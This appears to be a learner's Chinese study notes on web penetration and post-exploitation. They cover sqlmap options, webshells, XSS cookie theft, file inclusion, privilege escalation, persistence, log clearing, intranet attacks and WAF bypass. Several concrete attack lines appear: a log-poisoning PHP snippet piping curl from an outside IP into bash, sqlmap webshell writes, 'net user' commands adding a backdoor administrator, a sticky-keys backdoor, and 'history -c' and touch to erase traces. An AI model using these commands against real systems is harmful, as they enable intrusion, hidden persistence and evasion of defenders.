有时候像 apache响应时间是 30 秒比较久! 可以设置大一点!60秒

retries: 当发生超时时候,是否执行重试, 默认3次
sqlmap -u "http://a.qq.com/test" --delay 1 --timeout 15 --retries 2
线程就一次性发几个包! 
--threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。

一次性发10个包! 多线程!


image-20210306183548116

--safe-freq="主页什么的"

image-20210306183826348

用不用=都行!
-p ""

image-20210306184138718

就是一些特殊的闭合!

123') payload #直接ok

--prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX 指定后缀,例子同上。


--prefix "112')" --suffix "and ('1'='1 "

白盒测试!

image-20210306185203870

--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)

image-20210306185622983

 --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
--time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php

--union-cols
就是列太少,爆不完! 可以指定100列!

--union-char=1
就是原来是 union select null,null
变成: union select 1,1,1,1, 了

二阶注入:
--second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php

sqlmap -u "/1.php?id=1" --second-order"/menu.php"

image-20210306190507298

image-20210306190819022

--dump-all 查询全部数据。例: --dump-all --exclude-sysdbs

--exclude-sysdbs 不查系统表

image-20210306191000736

--search 搜索列、表和/或数据库名称。
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -p "id" --search -D "test,pika"

image-20210306191639497

udf用户自定义函数!

User-defined function injection
--udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
--shared-lib=SHLIB 同上,不懂。

这要到udf提权了! 不是很明白!

image-20210306192520627

-s SESSIONFILE 从一个文件加载保存的session。
-t TRAFFICFILE 记录流文件的保存位置。
-t 可以看sqlmap 语句!

image-20210306193431620

--charset=CHARSET 强制字符串编码。例: --charset=GBK
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
--hex好像不是ascii字符才能用!其他情况不行!
--flush-session 清空会话信息。
-b, --banner 查找数据库管理系统的标识。直接用-b
--parse-errors 解析并显示报错信息。

image-20210306194125153

image-20210306194305739

image-20210306194542798

--smart 有大量检测目标时候,只选择基于错误的检测。
--mobile cosplay 手机。

image-20210306195123976

--identify-waf 识别目标的防火墙。
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。

image-20210306195430607

Windows registry access
--reg-read 读一个Windows注册表。
--reg-add 添加一个注册表。
--reg-del 删一个注册表。
--reg-key=REGKEY 和之前连用,注册表key值。
--reg-value=REGVAL 和之前连用,注册表值。
--reg-data=REGDATA 和之前连用,注册表数据。
--reg-type=REGTYPE 和之前连用,注册表类别。

image-20210306195957963

access  mysql<5.0
表名靠猜!😶

Brute force
--common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
--common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。

image-20210306200747117

--forms 在目标URL上解析和测试表单。
-p ""
--data=""

image-20210306200839749

延迟注入:

--time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。

image-20210306200935124

-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。

一般默认都显示!这个比较详细把!
Operating system access
--os-cmd=OSCMD 执行一句系统命令。例: --os-shell="ipconfig -all"
--os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
--os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
--os-bof 利用缓冲区溢出。
--priv-esc 自动提权,数据库进程用户权限提升。
--msf-path=MSFPATH Metasploit Framework本地的安装路径。
--tmp-path=TMPPATH 远程临时文件目录的绝对路径。
--sql-query=QUERY 执行一个sql语句。
--sql-shell 创建一个sql的shell。
--sql-file=SQLFILE 执行一个给定文件中的sql语句

image-20210306201739566

File system access
--file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
--file-write=WFILE 写入到目标站点的一个文件,通常和--sql-query 连用。例: --sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用绝对路径写入。

--file-read就是把文件下载下来 要知道绝对路径

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -p "id " --file-write="g:/2.txt" --file-dest="E:\php\PHPTutorial\WWW\wwdadadadadad.txt"


--file-write 是要写的文件 木马 这可以写大马!指定自己的大马!
--file-dest是目标的地址

还有一点 --file-dest的地址不能存在 就是文件不能覆盖和追加!只能是新文件!🙄试了试

image-20210306203949559

数据导出:

--dump-format=DU.. 转储数据的格式 ,有(CSV (默认)文档格式, HTML,SQLITE)三种。

数据导出只能是 数据 不是 数据库和表

image-20210306204552122

--msf-path=MSFPATH Metasploit Framework本地的安装路径。

sqlmap的使用 —- 自带绕过脚本tamper

看了看:
apostrophemask.py 作用:将引号替换为utf-8,用于过滤单引号
下面俩都是单引号 而且可以执行成功!

image-20210306205340259

image-20210306205431307

19.hex2char.py

将每个编码后的字符转换成等价表达,既用等价的CONCAT(CHAR(),…)对应替换每个(MySQL)0x 编码的字符串

SELECT 0xdeadbeef to SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))
SELECT CONCAT(0x222,CHAR(173),CHAR(190),CHAR(239))

image-20210306211554937

sqlmap tamper详解

木马

webshell

image-20210307105414455

网站后门!

image-20210307105627798

image-20210307105643426

image-20210307110232529

反正传出来的应该 都过不了 🐕! 要自己写一个!

jsp -》 utf-8 连不上 可能也是 编码的问题!

说某个软件免杀!我想应该是这个软件的 脚本能免杀!所以它可以连上!这个免杀 我理解的是 说的应该是 脚本!

一句话+大马 提权!

图片🐎:

c32|copy 直接做就好了!

小马:

image-20210307121808242

小马 就是用来上传大马的!现在都要一句话了!!

小马有时候可以做一下免杀!

大马:

提权:

image-20210307122714961

使用技巧:

一句话一定要执行!光插进去不行!

大马:

提权,打包,脱裤,增删文件,等等

image-20210307122953023

过🐕的话:
1编码,
2图片🐎+文件包含
3还有一些解析漏洞什么的!

webshell的‘黑吃黑’|webshell 的后门!

就是我们用的连 webshell 的客户端和浏览器端都可能有后门!把我们连接的数据发送到 某个作者的服务器上! 那他 不就随便连接了吗!

10个软件 8 | 9个后门

我们可以盗取它的cookie! 用到了xss!

黑吃黑!😶

后门的话 怎么抓: 一般 两种发送传递后门! http|tcp

用wireshark | 等等抓包工具分析零流量包!

如果上传的马删不掉!可以上传和它同名的!替换掉它!注意不能执行!可能一执行又删不掉了!

编辑器

主要思想: 配合解析漏洞拿shell! 要不直接后台拿shell!

动态网站!数据库交互!

动态网站后台有个编辑器!

可以自动生成 静态页面!

编辑器:

后台: 修改文章! 上传 ! 添加 !
eweb ckfinder
fck

image-20210307190722457

挖掘编辑器漏洞!

其他编辑器攻击详解(southidceditor、UEditor、DotNetTextBox、Kedit、
Cute Editor、Kindeditor、Msn editor、Freetextbox、Webhtmleditor)

怎么看有没有编辑器:

扫它!

image-20210307185049882

动态网站 一般都有编辑器! 可能会藏起来!

一般不在

根目录,admin目录下也有可能!

要有思考! 和运维 想法一致!

eweb   默认上传目录    uploadfiles

image-20210307190337356

image-20210307190348858

inurl:ewebeditor site:xxx.xxx.com

FCK

image-20210307190446094

image-20210307190900649

image-20210307190918768

Fck 上传路径   userfiles
配合解析漏洞拿 shell

win x.asp;.jpg
apache 解析漏洞 /a.asp/1.jpg

image-20210307191456743

image-20210307192050911

image-20210307195819970

发现 登录后台后 搜一搜 editor 都找到编辑器!
下面就是去找上传点了!
绕过fck版本》 2.5 
%00 截断绕过

image-20210307214039878

image-20210307214210442

个人感觉还是考的是 文件上传!

最多是 文件上传+ 编辑器漏洞!

估计现在都少了!

image-20210307215001756

image-20210307215039396

image-20210307215049633

有时候可能会过滤:

把 asp;.jpg   变成 asp_jpg
这时候 发散思维 绕过 这里有点迷!🙄

解析漏洞

浅谈解析漏洞的利用与防范

EWEB

image-20210307215827655

image-20210307215841716

eweb 有自己独立的后台!

image-20210307224849717

进后台上传shell:

eweb  自己在白名单里添加 cer asp aaspsp ass
再上传 可以要低版本的IE

image-20210307230331677

没有后台

利用目录遍历漏洞!

image-20210307230652409

就是找到/Admin_UploadFile.asp?id=45     &dir=../..

把它变成http://192.168.218.140:8020/Admin_UploadFile.asp?id=&dir=../..

看看能不能执行! 我没玩成功!😫 可能 5.4 修复了!

image-20210307232416848

cookie欺骗:

image-20210307232501091

CKFINDER

image-20210307233103964

image-20210307233258333

ckfind目录  
ckfind/ckfind.html 去找 用 iis解析楼的! a.asp/1.jpg

南方数据 | south

image-20210307233602482

image-20210307234100421

IIS6.0 asp.asa.cer.cdx. 原理

IIS6.0 asp.asa.cer.cdx. 原理

UEditor

image-20210307234153384

DotNetTextBox

image-20210307234251869

Kedit

image-20210307235148065

Cute Editor

image-20210307235226140

感觉 就是 文件包含漏洞! 🙄  

思想

08 03 配合解析漏洞! 

XSS 来了

XSS一定能挖! 上班摸鱼的最好选择! 可惜我还不是很会! 🙄

一个网站啥没有 !感觉不能没XSS!

image-20210307235654796

就是执行了 js代码! 

owasp

很多公司都是安它的标准 来进行 渗透测试的! owasp top 10

《owasp渗透测试指南》

xss攻击客户端浏览器的!

image-20210308000042725

过滤不严!
钓鱼,劫持 ,获取cookie!

image-20210308000107204


注意

xss不要只用一个浏览器测试!每个浏览器都试一试!

image-20210308111320380

蠕虫的话 不懂! 
钓鱼!的话 !我理解的利用方式是 利用xss直接调转到钓鱼页面:

JS基础

document 对象

image-20210308111744121

image-20210308111859778

a.html 是x.js  的对象

image-20210308112013252

和c语言差不多!

image-20210308112155616

js的事件要看看!

反射性|存储型

xss漏洞挖掘

绕过 
大小写: 特殊字符 特殊编码 引用其他语句

有去看了看xss! 之前看了好几回了! 老是不太懂 dom型 和反射性的区别! 因为没个人理解不一样!

看了看:

你用burp Suite或者其他WEB数据包分析工具分析一下就会发现:存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;


dom和反射理解

DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别?

这怎么理解的: 发射和存储和服务器交互了! dom只在浏览器交互!

一定要看看 html dom ,看完好像明白了!

就是看是反射还是 dom  看是不是服务器处理就型了! bp最简单! 
也可以看源码 看看有没有 dom处理!

pikaqiu的dom:

image-20210308123855595

这一看源码 发现提交的数据是 被浏览器的 html dom处理的了! 那这就是dom型的!

image-20210308124029117

看这个提交的数据 被后端执行了! 那就是反射性!!🙄🙄🙄

怎么看是不是 dom型呢! bp也可以 ! 可以直接看源码! 搜一搜:document.getElementById("dom").innerHTML
看看有没有这样的 html dom 代码!

工具挖掘

owasp xss xsstrike

过滤了 alert可以 eval+编码绕过
还有大小写,编码,嵌套 ,等等

image-20210308155235221

magic 就是把

' --》 \'     用单引号  /xss/  或者编码!

image-20210308160121982

js url 可以识别 unicode 和 url编码

cl 我用 \u003c \u003e 没成功!

\u003cimg src=1 onerror=alert(/xss/)\u003e

image-20210308161548653

漏洞利用

image-20210308161617816

document.cookie

打cookie

绕过没有 http-only的情况下 直接盗取cookie ! 
登录管理员后台!

小 trick:短链接!

或者写成图片! 在 a.html 里写 <img src="漏洞地址">
打开就访问成功了!
盲插!
不知道后台是什么样的! 可以插的时候想一想闭合!
后台可能是 testarea td 什么的

image-20210308180154221

存储型:
有可能你 后台执行了! 前台有过滤没执行! 但还是有漏洞的! 还是能打cookie!

注意 :
就是 要多试一试闭合!

登录后 —— 哪shell

http-only绕过

一般 cookie里 auth决定身份认证的! 

这个再看看!
上传xss! 
就是 xx.jpg <script>aert(1)</script>.jpg

用js留后门!

就是把代码直接插到管理员登录界面!或者登录后的界面! 
后直接插到大马里!

CSRF

image-20210308223458324

玩一玩pikaqiu就知道了! 

就是发一个恶意的链接! 创建用户! 改密码! 让有权限的人执行代码等等!

借刀杀人!
怎么挖! 只要通过url提交攻击的 都存在csrf! 
伪造一下! 
或者写成图片! 在 a.html 里写 <img src="漏洞地址">
打开就访问成功了!

image-20210308224847096

image-20210308224952990

大佬把 post提交的 放到 get上了! 
居然也可以跨站伪造成功! 个人感觉应该是后端用request方式接收的!

image-20210308225520446

防护csrf

referer      看来源 是不是恶意链接!一般从黑客手里来源都不是正常管理后台的路径! 所以可以直接防护!   

下面那个就是靠referer! 伪造一下!

image-20210308230017101

但是有两个问题! 
怎么知道后台地址! 就是正常的referer来源! 而且现在好像还有token防护!

php相关漏洞

image-20210309123320740

文件包含漏洞

image-20210308230843044

image-20210308231315173

image-20210308231219501

image-20210308231912142

就是有个参数! 可以显示任何服务器文件! 

一般 ?file=
拿shell 一般上传木马文件都能拿! 
还有一个很棒的思路!
去看日志文件! 让网站报错! 这样报错日志文件里就有一句话!
再包含就能拿shell了!

image-20210308232427039

图片🐎不多说了!

image-20210308233336835

image-20210308233814766

只要想办法让日志里有一句话! 再包含就能拿shell!

find / -name “*_history”

image-20210308235400596

<?=`curl 8.131.72.215|bash`;

image-20210309001033593

直接就包含运行!  不要担心它在字符串里! 

image-20210309001323633

注意有一点 你必须有读的权限才行!
有时候光有 r权限也不行! 也要有x权限!

image-20210309123907767

记得url编码一下! 
包含的时候!没必要加 <?php?> 直接 PHPinfo(); eval($_POST[a]) 就能执行! 简单点!

image-20210309124543180

image-20210309124638896

image-20210309124853458

php伪协议

allow_url_include 打开
php://input 就是代替post请求

image-20210309125240579

直接用hackbar 不是很好用!   用bp好用! 

image-20210309130721323

image-20210309130704824

image-20210309130835838

image-20210309130849110

代码执行

image-20210309131017131

image-20210309131209603

学会php 可以过🐕

image-20210309131641210

就是 要会一些 php的性质!
可变变量!

除了system 有浏览器回显! 其他没回显! 

文件包含漏洞挖掘

就是看见有参数=文件名的形式!
就感觉可能有包含! 个人感觉😶

代码执行呢! 感觉就是试一试了! 都试一试!

变量覆盖

image-20210309135913368

image-20210309135951904

image-20210309140104307

JSP

image-20210309140345903

java的漏洞!

struts2漏洞

image-20210309165619322

找交互! 找.action

看见.do action交互的页面! 都试一试!

st2 漏洞 一般后缀都是action的!
是内网! 
1 上传木马! 上传端口转发工具!
2 FTP 下载木马! 上传个远控🐎执行!

java反序列化漏洞

image-20210309183159201

中间件漏洞

image-20210309184548223

image-20210309184608278

image-20210309184749022

其他漏洞

image-20210309184802693

越权漏洞

image-20210309184832669

image-20210309184928033

逻辑漏洞

逻辑密码找回!

就是 有点站修改密码的时候! 发送的邮箱可以改变!

image-20210309190926754

逻辑支付漏洞! 就是薅羊毛! 其实都是改参数!网上都有案例!

SSRF

image-20210309191216611

image-20210309191337336

就是 访问服务器 服务器可以从其他内网服务器获取数据! 就间接的获取内网里其他服务器的信息! 

image-20210309191719105

就是访问服务器 a a去访问b  b在返回a a在返回浏览器! 那b就是可控的! 所以任意的获取资源!就会有漏洞!

就是可以直接获取其他 服务器里的数据! (图片) 下图
说白了就是:
只要能访问内网其他服务器! 就存在ssrf!

image-20210309192006652

image-20210309192655096

image-20210309193434486

怎么挖ssrf呢!  就是你给个地址! 如果它能从它的服务器调出去!说明存在漏洞!  🙂    

相当于中间人!
这是一个辅助漏洞! 
配合内网渗透用的! 🙄
内网信息收集!

getshell总结

webshell -> 提权! –> 内网渗透!

image-20210309193838163

管理员拿shell!

就是登录后台! 直接改源码!或者上传源码!

image-20210309213741803

数据库备份

image-20210309214059458

两种思路! 
1 是 直接上传图片🐎! 然后通过数据库备份功能把图片🐎备份成asp文件!

2 直接创建 <% dada> 一句话用户!就是把一句话写入数据库!再备份asp文件也可以getshell!

突破上传拿shell!

image-20210309214415101

image-20210309215255400

%00 还可以放到 目录后门绕过!  
大佬的思路和经验很重要! 有时候文件名有处理!再别的地方试一试看能不能绕过!

image-20210309215753835

或者直接修改类型来getshell! 

中间件解析漏洞

image-20210309215925875

利用编辑器getshell +解析漏洞

插🐎拿shell

inc/config.asp
网站内容可能写在inc/config.asp里!
不能乱插!可能会把网站插崩了!
下图就插崩了! 引号闭合了!

image-20210309220705692

image-20210309220912258

通过编辑器模板拿shell!

image-20210309221249987

就是 通过模板生成php页面! 
就能getshell!

上传插件拿webshell

像有的 worldpress 站 博客类型的网站! 可以上传插件!

直接上传一个带木马的压缩包!在知道木马的目录!就可以getshell了!

可以秒杀博客! 免杀木马!过🐕!

数据库执行拿shell!

image-20210309222800044

就是 sql语句拿shell!

文件包含拿shell

命令执行拿shell

echo '<?php phpinfo();?>' > /var/www/html/ttt.php

普通用户拿shell

image-20210309223652962

通过上传头像拿shell! 
就是可以修改上传头像的内容! 变成木马文件!
看了演示不太懂! 直接把压缩包的导入后! 就生成文件了!这不是很懂!

常见的cms拿shell

image-20210309232003921

这去网上搜一搜cms漏洞把!

浅谈解析漏洞的利用与防范

提权

就是把自己的权限提升一下!

也可以理解把webshell的权限提示一下!

就是这个网站是以什么身份运行的!那你拿到这个网站的权限,也就只有它的身份!可能权限很小,也可能很大!

image-20210310102648170

匿名权限可能无法执行cmd!
user权限可以!
系统更不要说了!

就是运行 一句话的脚本的程序权限不同!

一般asp|php一句话!权限低!

一般等运行aspx 的权限比asp|php权限高!

也可以理解成 上传大马 !提权!

上传大马后信息收集

image-20210310104435834

image-20210310104342919

cmd不能执行

image-20210310104509933

1上传cmd

可以上传 上传cmd 五日🙄

找一个可以上传的目录!隐蔽性好的! 上传个cmd脚本!再指定它执行!

系统是按 批头处理的 可以把 cmd.exe改成 cmd.aaa

image-20210310105124465

查找3389

windows提权

image-20210310105244567

1 第三方软件提权

image-20210310110950985

FTP server -u:

FTP上传下载文件!

server -u:搭建FTP 服务器的 软件!

image-20210310111152407

思路: 修改配置文件! 直接 改密码或者 添加用户!

没权限!直接破解密码!

也可以直接大马一件提权! 就是溢出提权!

image-20210310111402608

image-20210310111542558

就是没权限 就破解密码 ! 再登录创建用户提权!

G6FTP

image-20210310112037620

FILEZilla

image-20210310112612248

大体上的思路就是:

破解密码! 再端口转发出去!

image-20210310115159819

连接!创建第三方软件用户!然后 提权!

远程管理软件

image-20210310120648268

然后你再下载软件连接即可!和3389桌面一样!

image-20210310121517426

image-20210310121526298

溢出提权

这就和msf差不多了!

image-20210310121956912

上传执行就可以了! 用一个可以执行的cmd! 来执行上传的exe文件! 它就会利用溢出漏洞! 提示你的权限!

启动项提权

image-20210310122654170

就是写个p处理 开机自动启动 创建一个用户! 来提权!

破解hash

管理员以上的权限!

直接读出来密码!

image-20210310123346647

数据库提权

image-20210310161318085

不允许外联的话!只能上传木马了!

image-20210310162527553

UDF提权

image-20210310162539023

udf提权 这都需要工具的! 🙄🙄🙄

启动项提权

image-20210310164229661

mof提权

image-20210310165038631

反弹shell

image-20210310165053492

有防火墙的时候 可以试一试 反弹!

反弹shell 就是 让他去访问你! 
一般防火墙会限制进去的流量! 不会限制出来的流量!

内网端口转发

image-20210310165930074

就是 内网端口转发! 

路由器有端口映射 你就可以访问内网的服务器! 比如把路由器的80端口映射到内网web服务器的80端口上! 你就可以访问内网成功了! 不过现在好像不行了! 可能是外网ip变少了 ! 但是没有端口映射 怎么访问内网|内网的3389呢!
如果你拿到了大马!
1 是 除非它访问你! 就是 反弹shell! 给他上一个反弹连接木马!来连接我!
2 如果要等3389! 就端口转发! 把它内网的3389端口 转到公网上另一个地址的3389端口! 你再去访问外网上这个3389 就相当于访问它内网里的3389端口!

就是自己有个问题! 为什么端口转发过来后!不能直接连接本地 127.0.0.1:1111 而去连接 127.0.0.1:1311
就是那样写的! 记住! 😶

image-20210310175812977

linux提权

image-20210310180253106

内核溢出提权

image-20210310195406790

mysql udf

image-20210310195611748

站库分离的话不行!

suid

image-20210310200726971

suid 普通用户也有管理员的执行权限!
set user id 网上有! 大概就是这个意思!
找到suid文件|程序 ! 通过他们去执行自己命令! 或者通过他们获取bash shell! 

利用环境变量劫持提权

image-20210310201401276

就是把 echo /bin/bash > ping 
带不带 引号都可以!
可以理解成 把 ping就是个脚本文件! bash 执行这个脚本文件!

image-20210310202411721

image-20210310202432058

image-20210310204024824

后渗透攻击

维持访问

image-20210310214952536

创建后门帐号

net user c c /add
net user guest /active:yes
net user guest 123.com
net localgroup administrator guest /add
net user Guest

systeminfo
netstat -an

最好通过启用 Guest 不易被发现!


登录后创建隐藏账户!

修改注册表!
把sam的权限打开!给个e权限! 然后修改内部没启用用户 F值和administrator的F值一样! 这样管理员看着还是未启用状态! 实际上是可以连接的!

image-20210310220207331

image-20210310220414642

image-20210310220434428

安装后门程序

5次shitf setc

生成lpk文件! 当有同一目录下有exe文件运行时!

就会运行lpk文件! 但也不一定运行!

思路就是 : 放到开机自动启动 exe文件目录下! 再次连接时5次shitf就可以触发后门了!

Lpk病毒是什么

具体的原理 tnl !

一定要知道就是 程序在启动时 会去调用lpk文件! 先调用同一目录里!没有在去调用系统自带的lpk文件!

安装远程控制程序

远控🐎!

安装linux后门

image-20210310231235093

Linux patch命令用于修补文件。

patch指令让用户利用设置修补文件的方式,修改,更新原始文件。倘若一次仅修改一个文件,可直接在指令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。

image-20210310231406855

image-20210310232000478

记录清除

从扫描开始 到上传木马! 提权都有记录!

win

log目录 htdoc目录

找你的话就是 溯源

linux

httpd

touch * 更新到最新!把文件时间修改下!

touch /root/*

history! -c

内网渗透

image-20210310235255418

PC与服务器的区别?

信息收集

对本地主机收集!

对网络主机收集!

SMB协议可以为局域网用户提供相关的功能和机制,来保证传输的可靠性。局域网中90%的数据包以及95%的字节是通过SMB协议进行传输,这是为了解决网络的稳定性和数据流在共享带宽时的公平性、拥塞控制及效率等问题。

对本地主机收集!

本地帐号信息!

软件帐号密码!

image-20210311164535383

对网络主机收集

可以 arp -a
namp 192.168.0/24 探测一下!

思路:

找到文件共享服务器+社工+远控🐎

8年起步!

image-20210311165331776

流量监听

wireshark | cain

只能抓明文密码! 抓了密文也不会解密!

cain

能抓明文传输的!https抓不了!

cain能抓 telnet ftp http等等

cain也是通过arp欺骗来获取你的记录!

3389能抓访问他的!

wireshark

攻与防

wireshark过滤规则及使用方法

这wireshark 也可以玩一玩! 我的好像有点问题! 会闪退!🙄

网络协议大全

arp欺骗

c段!

就是中间人的作用!

前提是服务器关了! 他会限制流量!

1 静态|绑定

2 arp防火墙

就不行了!

有单向和双向欺骗!

双向 就是 win7出去 和 访问win7的都被欺骗!

钓鱼!

还有的 可以直接黑 网关! 整个网络都被欺骗了!

3年起步!

密码爆破

hydra |九头蛇

image-20210311212142353

image-20210311212225900

绕waf

image-20210311212400249

服务器版的防提权! web版的防网站!

image-20210311212744589

image-20210311212812016

目录

image-20210311213206859

我们在写网站防火墙规则的时候可能都会做一件事:永远不屏蔽那些主流搜索引擎机器人的爬取(如,Google,Bing,Yahoo,Baidu等).

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

sql

image-20210311214712963

过and
5.0
5.1
5-1

image-20210311215015745

image-20210311215408195

and 1=2 
AnD 1=2

image-20210311215446803

mysql/*! xxx/**/添加感叹号

感染他!^ ^ 提示符号!
& $
^123^ ^abc^
/*@iii@*/and/*@ooo@*/1=1
/*$33aa$*/
多动脑! 去随便写绕过他!

image-20210311225719341

image-20210311225946970

an%00d

image-20210311230005293

image-20210311230039091

防护不是很严谨的地方!

image-20210311230142539

image-20210311230234366

就是干扰思路!

/*!40001and*/1=1
改变提交方式也很不错! !!!🙄

image-20210311230647986

image-20210311230719987

–delay=1

自己写tamper!

突破菜刀

image-20210311232056205

就是中转脚本! 中转到本地!

绕过上传

大小写! 
%00
改参数

感觉很随缘!🙄😶😶

image-20210312001557956

提权绕过waf

image-20210312001739239

kail

kail学的好!

信息收集

image-20210312105718844